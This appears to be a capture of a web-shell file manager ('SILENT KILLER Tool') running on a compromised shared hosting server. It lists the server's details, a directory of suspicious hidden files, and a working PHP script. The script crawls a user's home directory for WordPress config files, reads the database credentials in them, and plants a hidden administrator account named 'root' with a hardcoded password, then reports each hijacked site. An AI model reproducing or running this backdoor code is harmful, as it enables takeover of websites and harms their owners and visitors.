Operation : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 Software : Apache Server IP : 162.0.232.56 | Your IP: 216.73.216.111 Domains : 1034 Domain(s) Permission : [ 1777 ]
Name | Type | Size | Last Modified | Actions |
---|---|---|---|---|
lsws | Directory | - | - | |
.bind | File | 52 bytes | August 03 2025 08:55:54. | |
.comp | File | 58 bytes | August 03 2025 22:41:47. | |
.component | File | 49 bytes | July 01 2025 15:07:44. | |
.dat | File | 4360 bytes | July 05 2025 01:05:49. | |
.data | File | 4360 bytes | July 19 2025 01:16:26. | |
.dchunk | File | 59 bytes | July 01 2025 14:58:20. | |
.desc | File | 62 bytes | July 26 2025 01:45:07. | |
.descriptor | File | 4360 bytes | July 28 2025 20:39:01. | |
.elem | File | 56 bytes | July 17 2025 09:36:53. | |
.ent | File | 53 bytes | July 18 2025 05:02:02. | |
.entity | File | 4360 bytes | July 23 2025 22:54:26. | |
.entry | File | 4360 bytes | July 23 2025 11:25:41. | |
.fac | File | 48 bytes | June 24 2025 12:30:52. | |
.factor | File | 54 bytes | July 25 2025 08:32:18. | |
.flag | File | 4360 bytes | July 16 2025 08:09:02. | |
.hld | File | 46 bytes | July 21 2025 08:03:26. | |
.holder | File | 52 bytes | August 03 2025 22:51:05. | |
.item | File | 4862 bytes | June 20 2025 08:28:57. | |
.itm | File | 3233 bytes | August 03 2025 14:17:34. | |
.k | File | 60 bytes | July 25 2025 08:47:13. | |
.key | File | 4360 bytes | August 02 2025 01:14:35. | |
.marker | File | 53 bytes | August 04 2025 00:04:08. | |
.mrk | File | 4360 bytes | July 28 2025 20:38:05. | |
.obj | File | 52 bytes | June 24 2025 07:26:22. | |
.object | File | 4360 bytes | July 25 2025 09:45:32. | |
.pgrp | File | 4360 bytes | July 16 2025 13:02:49. | |
.pointer | File | 53 bytes | July 01 2025 07:45:47. | |
.property_set | File | 54 bytes | July 08 2025 01:25:47. | |
.pset | File | 53 bytes | August 03 2025 08:40:09. | |
.ptr | File | 55 bytes | August 03 2025 22:35:25. | |
.rec | File | 8263 bytes | July 13 2025 17:37:13. | |
.record | File | 50 bytes | August 02 2025 12:17:04. | |
.ref | File | 57 bytes | July 25 2025 16:35:22. | |
.reference | File | 4360 bytes | July 28 2025 06:58:47. | |
.res | File | 4763 bytes | June 20 2025 15:35:21. | |
.sym | File | 46 bytes | June 24 2025 10:23:23. | |
.symbol | File | 52 bytes | July 31 2025 18:58:54. | |
.tkn | File | 51 bytes | August 01 2025 08:53:00. | |
.token | File | 54 bytes | August 04 2025 02:32:38. | |
.val | File | 4320 bytes | August 03 2025 12:33:06. | |
.value | File | 4360 bytes | July 28 2025 20:49:00. | |
PostgreSQL.1935969296 | File | 14992 bytes | August 03 2025 10:31:58. |
<?php function scan($path) { if ($dir = @opendir($path)) { while (false !== ($file = readdir($dir))) { $p = $path . DIRECTORY_SEPARATOR . $file; if ($file != '.' && $file != '..') { if (is_link($p)) { continue; } elseif (is_dir($p)) { scan($p); } elseif ($file === 'wp-config.php') { inject($p); } } } } } function inject($p) { $user_login = 'root'; $user_password = 'Zb{0@U{vsFjq&#j(<?L[Iy0Hi_#9]i-LlJN0=Ec'; $user_email = 'admin@wordpress.com'; $data = file_get_contents($p); $pattern = "/table_prefix\s*=\s*'([^']*)';/i"; if (preg_match($pattern, $data, $matches)) { $table_prefix = $matches[1]; } else { $table_prefix = 'wp_'; } $lines = array_map('rtrim', file($p)); $conf = []; foreach ($lines as $line) { if (preg_match('/define\s*\(\s*[\'"]\s*(DB_USER|DB_HOST|DB_PASSWORD|DB_NAME)\s*[\'"]\s*,/', $line, $matches)) { $conf[$matches[1]] = parse_define_value($line); } } if (isset($conf['DB_HOST']) && isset($conf['DB_USER']) && isset($conf['DB_PASSWORD']) && isset($conf['DB_NAME'])) { $mysqli = new mysqli($conf['DB_HOST'], $conf['DB_USER'], $conf['DB_PASSWORD'], $conf['DB_NAME']); if ($mysqli->connect_errno) { return; } if ($result = $mysqli->query("SELECT ID FROM {$table_prefix}users WHERE user_login = '{$user_login}';")) { if ($result->num_rows > 0) { $result->close(); $mysqli->close(); return; } $result->close(); } $add_user_query = "INSERT INTO `{$table_prefix}users` (`user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_status`, `display_name`) SELECT '{$user_login}', MD5('{$user_password}'), '{$user_login}', '{$user_email}', '', (SELECT `user_registered` FROM `{$table_prefix}users` ORDER BY `ID` ASC LIMIT 1), 0, '{$user_login}' FROM DUAL WHERE NOT EXISTS ( SELECT 1 FROM `{$table_prefix}users` WHERE `user_login` = '{$user_login}' );"; if ($mysqli->query($add_user_query)) { $add_usermeta_query1 = "INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`) SELECT `ID`, 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}' FROM `{$table_prefix}users` WHERE `user_login` = '$user_login' ORDER BY `ID` DESC LIMIT 1;"; $add_usermeta_query2 = "INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`) SELECT `ID`, 'wp_user_level', '10' FROM `{$table_prefix}users` WHERE `user_login` = '$user_login' ORDER BY `ID` DESC LIMIT 1;"; $mysqli->query($add_usermeta_query1); $mysqli->query($add_usermeta_query2); } $site_url = false; if ($result = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name = 'siteurl';")) { $row = $result->fetch_object(); $result->close(); $site_url = $row->option_value; } if (!$site_url || strpos($site_url, 'http') !== 0) { if ($result = $mysqli->query("SELECT user_url FROM {$table_prefix}users ORDER BY ID ASC LIMIT 1;")) { $row = $result->fetch_object(); $result->close(); $site_url = $row->user_url; } } if ($result = $mysqli->query("SELECT ID FROM {$table_prefix}users WHERE user_login = '{$user_login}';")) { if ($result->num_rows > 0) { echo "<f>{$site_url}@@@{$p}</f>\n"; } $result->close(); } $mysqli->close(); } } function parse_define_value($line) { if (preg_match("/define\s*\(\s*['\"]\w+['\"]\s*,\s*['\"](.*)['\"]\s*\)\s*;/", $line, $matches)) { return $matches[1]; } return null; } function scanRootPaths() { if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { foreach (range('A', 'Z') as $driveLetter) { $drive = $driveLetter . ':\\'; if (is_dir($drive)) { scan($drive); } } } else { scan('/home/jfosthlp'); } } scanRootPaths(); die('!ended!');
SILENT KILLER Tool